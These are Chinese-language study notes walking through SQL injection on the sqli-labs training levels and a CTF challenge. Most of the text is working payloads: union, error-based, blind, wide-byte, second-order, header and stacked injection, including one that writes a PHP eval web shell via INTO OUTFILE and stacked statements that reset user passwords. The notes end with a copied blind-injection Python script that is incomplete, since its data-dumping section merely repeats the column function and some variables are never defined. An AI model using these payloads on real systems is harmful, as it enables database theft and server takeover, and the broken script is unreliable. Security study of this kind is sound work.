最最最最最基础简单的部分 (虽然它简单但是不等于我记得,更不等于我会.jpg)
SQL 提权见 linux 提权
# 基本语句
先明确一件事,所有的查询语句,查的都是数据,而不是字段之类
select database() //这是查当前数据库,如果是要查所有,是; select group_concat(schema_name) from information_schema.schemate才对 注意,只有在information_schema.schemate中才存在字段schema_name,在其他两个表中都会叫做table_schema,但是在information_schema.tables/columns中却都有table_name这个玩意儿
select table_name from information_schema.tables where table_schema='库名' //仔细思考下含义,其实这里查的是information_scheam下的tables表的table_schema字段下的值,这和要查的表无关,应为查询查的都是字段的值
select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 1,1 //1,1表示查询从第一个字段开始查,查一个(其实只能这样),同上,这就是在information_schema库的columns表上查table_schema字段和table_name字段下的数据(注意这是两个完全不同的字段,实际上是查两者共有的那个)后面的and语句也可以换成columns.table_name=
select 1,flag,3 from error_flag
在任何时候,都可以用类似 group_concat (table_name) 的表达来一次性查询
回显长度有限时可能需要 substr (),right (),left () 之类的调整
(加在直接查询的地方)
select group_concat((right(password,25))) from...
联合查询需要使用 order by 字句判断字段数与回显点
例子:
# [极客大挑战 2019] HardSQL
这题是报错注入,其他的几个都被过滤了(?不知道能不能盲注)
大致 payload:
updatexml(1,concat(0x7e,database(),0x7e),1)
以及
把 database 换成:
(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())))
//因为是在函数里,所以都要用()
//like本身用于模糊匹配,但这里等同于=
//用了group_concat,这些报错注入的函数都是单次查询。返回多条会报错,得不到东西
及其类似物
PS: 现在回过头来看,这道题似乎跟 hard 没有什么关系...... 被骗了,不如之前那篇里面的那几个莫名奇妙的玩意儿
# SQL-lab
# 1
联合注入是在前一句执行失败时才执行后一句,所以不要用 1
这里的 wp 中有一句
select group_concat(column_name) from information_schema.columns where columns.table_name='users'
但是实际上不够准确,因为没有指定数据库,其他某个数据库中也存在一个叫 users 的表,那么其字段也会输出:
可以多加一个:
and columns.table_schema='security'
不过实际上这个where字句中的conlumns可以直接省略
# 2
数字型,不用闭合,其他同上,还有就是不要用 1! 不要用 1! 不要用 1!
# 3/4
变形版本,得看源码
于是 payload
?id=1') union select ...
?id=") union select...
# 5/6
没有回显,这俩只有闭合方式一样('/")
一个闻所未闻的报错注入格式:
and (select 1 from (select count(*),concat((payload),floor(rand(0)*2)) as x from information_schema.tables group by x)a)--+
这里结合了联合查询:
union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a
原理是:
子查询中用 information_schema.table
只是因为数据量多,方便触发重复键错误。
count () 就是计数用的聚合函数,类似的还有 sum ()...
PS:单说这道题,用 updatexml ()/extractvalue () 也是可以的
# 7
看源码:
这下报错都没回显了,<del> 盲注脚本一把梭哈(?)</del>
之后闭合就不多说了,看源码就知道
联合写入(?)
?id=1')) union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile '\\var\\WWW\\sqli\\Less-7\\1.php' --+
//那一串就是<?php eval($_POST['test'])?>
路径靠猜
# 8/9/10
布尔 / 时间盲注,以及闭合方式
# 11/12
变成登录界面了,首先来个万能密码:
-1' or 1=1#
发现输出和第一关一模一样。显然 payload 也是一样了
(从 11 题开始用 post 方法,12 闭合不同)
wp 里面用了 limit 2,1 之类的,不过这题能显示出来的挺多,直接 group_conca () 就行了
# 13/14
常规 order by 加 union, 发现没有回显,但是可以报错。
闭合方式是 ')
随便给个 payload:
-1') union select count(*),concat((select database()),floor(rand(0)*2)) as x from information_schema.tables group by x #
# 15/16
盲注
# 17
报错注入,但是 password:
username 单独查询的结果,作为下一次查询的参数,而不是我们的输入本身 (也没有任何回显)。
有 $row 的判断,说明必须输入实际存在的用户名
所以注入点在 password,就这样
随便给个 payload
1111' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
//user()返回当前数据库用户
# 18/19/20
这道题注入点在 user-agent/referer/cookie
看源码:
测试时可以发现有错误回显,报错注入
提前闭合 ')
,然后由于是三个参数,不能把直接后面注释掉
mysql 总是先解析语法,所以必须再次凑一个闭合
payload:
111' or updatexml(1,concat(0x7e,(database()),0x7e),0) or '
拼上去后:
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('111' or updatexml(1,concat(0x7e,(database()),0x7e),0) or '', '$IP', $uname)
如果是下面这种:
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('-1' or updatexml(1,concat(0x7e,(database()),0x7e),0)) #', '$IP', $uname)
会先检查 values 的参数表,只有一个,直接报错,此时我们构造的报错语句反而没有执行,出现参量不匹配:
你可以手动补齐参量:
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('-1' or updatexml(1,concat(0x7e,(database()),0x7e),0),2,3) #', '$IP', $uname)
所以最简单的:
1',2,updatexml(1,concat(0x7e,database(),0x7e),1))#
# 21/22
cookie 注入,抓包后可以发现 cookie 是 base64 编码的字符,所以先编码单引号,发现是普通的报错注入(此题需要还一个括号闭合,22 单变双)
# 23
回到 GET 请求,这题过滤了注释符,所以要强行闭合后面
payload:
id=admin' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '
where 字句当后面的表达式为真时,会反应对应记录,这是使用
where 1 or '1' = '
:构造恒真条件( 1
为真, or
使整个条件始终为真),确保 users
表的查询返回所有记录,而非部分数据
也可以简单的:
id=admin' union select 1,group_concat(username),group_concat(password) from users or '1'='1
PS:这题没法用 order by 字句测试,只能 select 一直加
# 24
二次注入
登录 + 注册 + 修改密码的页面,查看一下源码:
登录和注册函数都有转义:
但是存储的不是转义后的:
这题的目的是修改 admin 的密码,我们可以构造一个在过滤后变成 admin 的账号,利用存储时不转义,在改密码时让其被过滤为 admin,修改其密码:
先注册: admin'#
, 然后修改其密码即可
这道题倒是很像之前那题 hctf,不过那题是 unicode 字符欺骗,利用两次函数得到效果
# 25(a)
这道题开始存在过滤,联合注入
这东西就是普通的替代一次,所以直接双写绕过,区别在于 25a 不是字符型,没有单引号闭合
注意:information_schema,password 中也有 or!!!!!
# 26(a)/27(a)
过滤逻辑运算符 (and,or),注释符,空格,都是使用正则
所以直接全部双写绕过,空格可以使用:
%09(Tab 水平)%0a(换行)%0c(换页)%0d(return)
%0b(Tab 垂直)
% a0(空格)
此题可能解析不了,要用 ()
绕过
此外:and,or 也可以改为 &&,||
报错注入:
?id=1'||(updataxml(1,concat(0x7e,(select(table_name))from (infoorrmation_schema.tables)where(table_schema='security'))),1))||'0
26 (a) 则是多一个 )
闭合,并且无法报错,只能联合或者盲注,事实上 26 本身也可以直接联合查询:
?id=1'%A0union%A0select%A01,group_concat(username),group_concat(passwoorrd)%A0from%A0security%2Eusers%A0where%A01%A0%26%26%a0'1
27 则是将 and,or 的过滤改为 select 和 union,可以大小写或者双写绕过
?id=0'%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0'1
27 (a) 闭合换 "
# 28
过滤更多
过滤了 and,or,/*,--,#, 空格,正反斜杠
注意:最后一个通常写作
preg_replace('/[\/\\\]/', '', $id);
因为在 PHP 中 \\ 会被解释为单个反斜杠,三个反斜杠实际上是双重转义(PHP 和正则)
payload:
-1' union select 1,group_concat(username),group_concat(passwoorrd) from security.users where 1 && '1 |
构造前后都是真,有些数据库 where 字句不能用纯字符作为条件,所以才有之前的 where 1 or '1'='1
以及这里的 where 1 && '1
后者兼容性更强。
# 29/30/31
加了 waf:
只允许纯数字,看上去无解,再看看别的:
里面还有个函数 java_implimentation ():
这一段是在处理传入多个参数,将类似于 key1=111&key2=222
的 GET 传参转化为 array("key1=111","key2=222")
的形式,然后提取前两个字符为 id 的内容并返回
这虽然是一个循环,但是 return 只有一次,因此返回的只有第一个 id 的内容,然后将其送去 whitelist 检查,也就是说:.
这个 waf 只检查了第一个 id
payload 不言而喻:
?id=1&id=1' union select 1,group_concat(username),group_concat(password) from security.users where 1 --+
30 闭合方式改 "
,31 比 30 多个 )
# 32/33/34
宽字节注入
这题过滤单 / 双引号,但是:
GBK 编码,有中文这种宽字节
注意:字节大于 1 就是宽字节
PHP 中编码为 GBK,函数执行添加的都是 ASCII
mysql 默认的字符集就是 GBK
不过上面那张图是设置网站的字符集,只有当两者都是 GBK 时才能宽字节注入
此时可以绕过大多数符号转义
payload:
?id=-1%df%27 select 1,database(),3 --+
% df 不会被转义,%27 前会加上 %5c(即 \
)来转义,这使得整体变成:% df%5c%27,但由于是 GBK 编码,% df%5c 会结合成不知道哪个汉字,又只剩下 %27
除去 % df,任何 GBK 首字节都可以用于宽字节注入,可以被合并的范围则是 GBK 尾字节
首字节:0x81-0xfe,即 129-239
尾字节:0x40-0xfe,即 64-126,除去 0x7f 的 128
这题的反斜杠 %5c 在这范围内
sqlmap 有专门的脚本
sqlmap.py -u "url" --batch --tamper=unmagicquotes.py --current-db | |
sqlmap.py -u "url" --batch --tamper=unmagicquotes.py -D security --tables |
34 改用 post
# 35
中文符号都出来了(乐)
这也导致了如果你用单括号闭合了这句话反而会被过滤
但是这道题的查询语句:
不需要闭合
mysql 里可以直接写 16 进制,从而避面用引号标识字符串
所以这题没有过滤
# 36/37
32 是使用正则过滤,这道题用的是 mysql_real_escape_string () 转义,两题都是单引号闭合。
绕过方式同 32
37 是 POST
# 38/39/40/41
堆叠查询,我记得好像说过可以用 sleep () 函数检验是否存在
payload(其实就是个最最简单的联合注入):
?id=-1' union select 1,version(),database() %23
或者
?id=1';select database(),version() --+
这里出结果还是要联合查询,因为这个堆叠完全没有回显,不过可以生效
39,39 参数整数,不闭合,40 是 ')'
# 题外话
其实我还试了试能不能搞个 shell, 但是:
好的,非常好,太好了,没活了
也不知道为什么网上很多地方都是这样改的
PS: 另外现在我才知道,用 mysql 命令行和正常的语句没有区别。
# 42/43
类似于 32,GBK 换成堆叠,只能盲操作数据库。43 闭合换 ')'
# 44/45
同 42,不过由于是 POST,而且:
如果只是忘了密码要登录,可以直接 password 用万能密码,但不如直接堆叠:
UPDATE users SET password='az' WHERE username = 'az';
insert users (username,password) value ('az','az');
这对应了下面的两个要求:
45 多 )
闭合
# 46/47/48/49/50/51/52/53
随便试一下就知道是报错注入了。虽然是在 order by 字句,不过这有什么关系?
payload:
?sort=1 and(updatexml(1,concat(0x7e,(select database())),0));
这里如果使用布尔或者时间盲注,可以用异或注入判断长度
payload:
?sort=1 ^(select(select version()) regexp '^5')
order by 并不能放在 union 之前,除非将两个查询用括号独立起来
(select 1,2,3) union (select 4,5,6)
不大可能见到这种前面需要自带一个 (
的版本
47 是 '
闭合,48/49 是布尔 / 只能时间盲注
50 与 46 相同,但是多了个可以堆叠注入
51 是 '
闭合的 50,52 是多了堆叠的 49
53 是 '
闭合的 52
# 54/55/56/57
没有任何过滤但是有次数限制的 '
联合查询,都是随机数据
大概就是:
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();--+
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='上一句得到的表名'
-1' union select 1,group_concat('上一句得到的字段名'),3 from '上上一句得到的表名'
55 是整数型加 )
,56 是 ')'
,57 是 "
# 58/59/60/61
这道题:
这时我们的取值是从数组而不是数据库
<del> 但是这个数组不也是从数据库来的?</del>
不能联合,但是这题有报错回显,是个平平无奇的报错注入
59 整数型,60 ")
,61 '))
PS:报错注入的闭合方式可以直接看报错的部分
# 62/63/64/65
没有过滤的普通盲注, ')
闭合
63 '
,64 ))
,65 )
# 盲注部分
原理以前看过,这次主要看怎么实际操作,不过还是过一下:
首先用万能密码判断注入类型,然后判断回显位
使用 length 判断长度,使用二分法
假设执行语句:select first_name,last_name from users where user_id = '参数';
payload:1' and length(database())> 20 #
猜测其组成部分,使用 ascii(substr())
。
这个地方就是之前字符集问题的罪魁祸首,可以使用两次 convert 来解决,这里不考虑。
ascii(substr(database()),1,1)>20 #
同样二分法,改变起始位置逐个猜测
判断表的个数:
1' and (select count(table_name) from information_schema.tables where table_schema=database())<10 #
//count是集合函数用于统计满足特定条件的行数(表的数量),理论上也可以用于触发order by的报错注入
接下来如法炮制,爆长度,因为可能存在多个表,所以使用 limit 字句限定返回某一行,注意该字句的索引从 0 开始:
1' length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>10 #
爆具体字段,也就只是换了下外面套的函数罢了:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
之后就是类似的查字段数 count()
, 查字段名长度 length()
, 查字段名 ascii(substr())
最后查字段内容 ascii(substr())
时间盲注则是再所有需要用到判断的地方外加一个 if 语句,如果成功就延迟 5 秒(因为大多都不会成功)
1' and if(......,sleep(5),1)#
# BP
如果是布尔盲注的话,使用 bp 可以半自动爆破,不使用二分法而是每一个值都爆过去
(感觉实际情况是直接被 ban)
# Python
这里网上 copy 一个用命令行交互实现的时间盲注脚本(太久没写代码都还回去了是这样的)只有 get,若是 post 要手动改
# 程序入口
#入口,主函数 | |
if __name__ == '__main__': | |
parser = optparse.OptionParser('usage: python %prog -u url \n\n' 'Example: python %prog -u http://127.0.0.1/sql/Less-8/?id=1\n') | |
#目标 URL 参数 -u | |
parser.add_option('-u','--url',dest='targetURL',default='http://127.0.0.1/sql/Less-8/?id=1',type='string',help='target URL') | |
(options,args) = parser.parse_args() | |
StartSqli(options.targetURL) |
# 主函数
def StartSqli(url):
GetDBName(url)
print("[+]当前数据库名:{0}".format(DBName))
GetDBTables(url,DBName)
print("[+] 数据库 {0} 的表如下:".format(DBName))
for item in range(len(DBTables)):
print("(" + str(item + 1 ) + ")" + DBTables[item])
tableIndex = int(input("[*] 请输入要查看的表的序号 :")) - 1
GetDBColumns(url,DBName,DBTables[tableIndex])
while True:
print("[+] 数据表 {0} 的字段如下:".format(DBTables[tableIndex]))
for item in range(len(DBColumns)):
print("(" + str(item + 1) + ")" + DBColumns[item])
columnIndex = int(input("[*] 请输入 要查看的字段的序号(输入0退出):")) - 1
if(columnIndex == -1):
break
else:
GetDBData(url, DBTables[tableIndex], DBColumns[columnIndex])
# 爆数据库名
#获取数据库名函数 | |
def GetDBName(url): | |
#引用全局变量 DBName | |
global DBName | |
print("[-] 开始获取数据库的长度") | |
#保存数据库长度的变量 | |
DBNameLen = 0 | |
#用于检查数据库长度的 payload | |
payload = "' and if(length(database())={0},1,0) %23 " | |
#把 url 和 payload 进行拼接,得到最终请求 url | |
targetUrl = url + payload | |
print(targetUrl) | |
#用 for 循环遍历请求,得到数据库名的长度 | |
for DBNameLen in range(1,99): | |
#对 payload 的中的参数进行赋值猜解 | |
res = conn.get(targetUrl.format(DBNameLen)) | |
#判断 flag 是否在返回的页面中 | |
if flag in res.content.decode("utf-8"): | |
print('进来了吗') | |
print("[+] 数据库名的长度:"+ str(DBNameLen)) | |
break | |
print("[-] 开始获取数据库名") | |
#获取数据库名的 payload | |
payload = "' and if(ascii(substr(database(),{0},1))={1},1,0) %23" | |
targetUrl = url + payload | |
#a 表示 substr () 函数的截取位置 | |
for a in range(1,DBNameLen+1): | |
#b 表示在 ascii 码中 33~126 位可显示的字符 | |
for b in range(33,127): | |
res = conn.get(targetUrl.format(a,b)) | |
if flag in res.content.decode("utf-8"): | |
DBName += chr(b) | |
print("[-]" + DBName) | |
break |
# 爆表名
#获取数据库表函数
def GetDBTables(url, dbname):
global DBTables
global method
#存放数据库表数量的变量
DBTableCount = 0
print("[-] 开始获取 {0} 数据库表数量:".format(dbname))
#获取数据库表数量的payload
payload = "' and if((select count(*)table_name from information_schema.tables where table_schema='{0}')={1},1,0) %23"
targetUrl = url + payload
#开始遍历获取数据库表的数量
for DBTableCount in range(1,99):
res = conn.get(targetUrl.format(dbname,DBTableCount))
if flag in res.content.decode("utf-8"):
print("[+]{0}数据库中表的数量为:{1}".format(dbname,DBTableCount))
break
print("[-]开始获取{0}数据库的表".format(dbname))
#遍历表名时临时存放表名长度的变量
tableLen = 0
#a表示当前正在获取表的索引
for a in range(0,DBTableCount):
print("[-]正在获取第{0}个表名".format(a+1))
#先获取当前表名的长度
for tableLen in range(1,99):
payload = "' and if((select LENGTH(table_name) from information_schema.tables where table_schema='{0}' limit {1},1)={2},1,0) %23"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbname,a,tableLen))
if flag in res.content.decode("utf-8"):
break
#开始获取表名
#临时存放当前表名的变量
table = ""
#b表示当前表名猜解的位置(substr)
for b in range(1,tableLen+1):
payload = "' and if(ascii(substr((select table_name from information_schema.tables where table_schema='{0}' limit {1},1),{2},1))={3},1,0) %23"
targetUrl = url + payload
# c 表示在ascii码中33~126位可显示字符
for c in range(33,127):
res = conn.get(targetUrl.format(dbname,a,b,c))
if flag in res.content.decode("utf-8"):
table +=chr(c)
print(table)
break
#把获取到的表名加入DBTables
DBTables.append(table)
#清空table,用来继续获取下一个表名
table = ""
# 爆字段名
#获取数据库表字段的函数
def GetDBColumns(url,dbname,dbtable):
global DBColumns
#存放字段数量的变量
DBColumnCount = 0
print("[-] 开始获取{0}数据表的字段数:".format(dbtable))
for DBColumnCount in range(99):
payload = "' and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0) %23"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbname,dbtable,DBColumnCount))
if flag in res.content.decode("utf-8"):
print("[-]{0} 数据表的字段数为:{1}".format(dbtable,DBColumnCount))
break
#开始获取字段的名称
#保存字段名的临时变量
column = ""
# a 表示当前获取字段的索引
for a in range(0,DBColumnCount):
print("[-]正在获取第{0} 个字段名".format(a+1))
#先获取字段的长度
for columnLen in range(99):
payload = "' and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0) %23"
targetUrl = url + payload
res = conn.get(targetUrl.format(dbname,dbtable,a,columnLen))
if flag in res.content.decode("utf-8"):
break
#b表示当前字段名猜解的位置
for b in range(1,columnLen+1):
payload = "' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0) %23"
targetUrl = url + payload
#c 表示在ascii表的33~126位可显示字符
for c in range(33,127):
res = conn.get(targetUrl.format(dbname,dbtable,a,b,c))
if flag in res.content.decode("utf-8"):
column += chr(c)
print(column)
break
#把获取到的字段加入DBCloumns
DBColumns.append(column)
#清空column,用来继续获取下一个字段名
column = ""
# 爆内容
#获取数据库表字段的函数 | |
def GetDBColumns(url,dbname,dbtable): | |
global DBColumns | |
#存放字段数量的变量 | |
DBColumnCount = 0 | |
print("[-] 开始获取{0}数据表的字段数:".format(dbtable)) | |
for DBColumnCount in range(99): | |
payload = "' and if((select count(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}')={2},1,0) %23" | |
targetUrl = url + payload | |
res = conn.get(targetUrl.format(dbname,dbtable,DBColumnCount)) | |
if flag in res.content.decode("utf-8"): | |
print("[-]{0} 数据表的字段数为:{1}".format(dbtable,DBColumnCount)) | |
break | |
#开始获取字段的名称 | |
#保存字段名的临时变量 | |
column = "" | |
# a 表示当前获取字段的索引 | |
for a in range(0,DBColumnCount): | |
print("[-]正在获取第{0} 个字段名".format(a+1)) | |
#先获取字段的长度 | |
for columnLen in range(99): | |
payload = "' and if((select length(column_name) from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1)={3},1,0) %23" | |
targetUrl = url + payload | |
res = conn.get(targetUrl.format(dbname,dbtable,a,columnLen)) | |
if flag in res.content.decode("utf-8"): | |
break | |
#b 表示当前字段名猜解的位置 | |
for b in range(1,columnLen+1): | |
payload = "' and if(ascii(substr((select column_name from information_schema.columns where table_schema='{0}' and table_name='{1}' limit {2},1),{3},1))={4},1,0) %23" | |
targetUrl = url + payload | |
#c 表示在 ascii 表的 33~126 位可显示字符 | |
for c in range(33,127): | |
res = conn.get(targetUrl.format(dbname,dbtable,a,b,c)) | |
if flag in res.content.decode("utf-8"): | |
column += chr(c) | |
print(column) | |
break | |
#把获取到的字段加入 DBCloumns | |
DBColumns.append(column) | |
#清空 column,用来继续获取下一个字段名 | |
column = "" |
# 附加
if __name__ =='__main__': | |
#这用于判断当前脚本是否是被直接运行,而不是被导入,当直接执行时条件为真,下面的代码块会执行 | |
parser = optparse.OptionParser('usage: python %prog -u url \n\n Example: python %prog -u http://127.0.0.1/sql/Less-8/?id=1\n') | |
#创建命名行参数解析器,其中内容是 - h/--help 的使用提示,% prog 会自动替换为该脚本名 | |
parser.add_option('-u', '--url', | |
dest='targetURL', | |
default='http://127.0.0.1/sql/Less-8/?id=1', | |
type='string', | |
help='target URL') | |
#添加参数,指定其是 - u/--url 命名行参数,dest 是解析后对象的成员变量名,解析后的数据将存入这个成员变量,default 默认值,string 解析时的类型,help 参数的说明文,在 - h/--help 显示 | |
(options, args) = parser.parse_args() | |
#解析参数,前一个是对象存储命令行参数,后一个则是数组存储剩下的裸参数。 | |
StartSqli(options.targetURL) | |
#调用主函数 |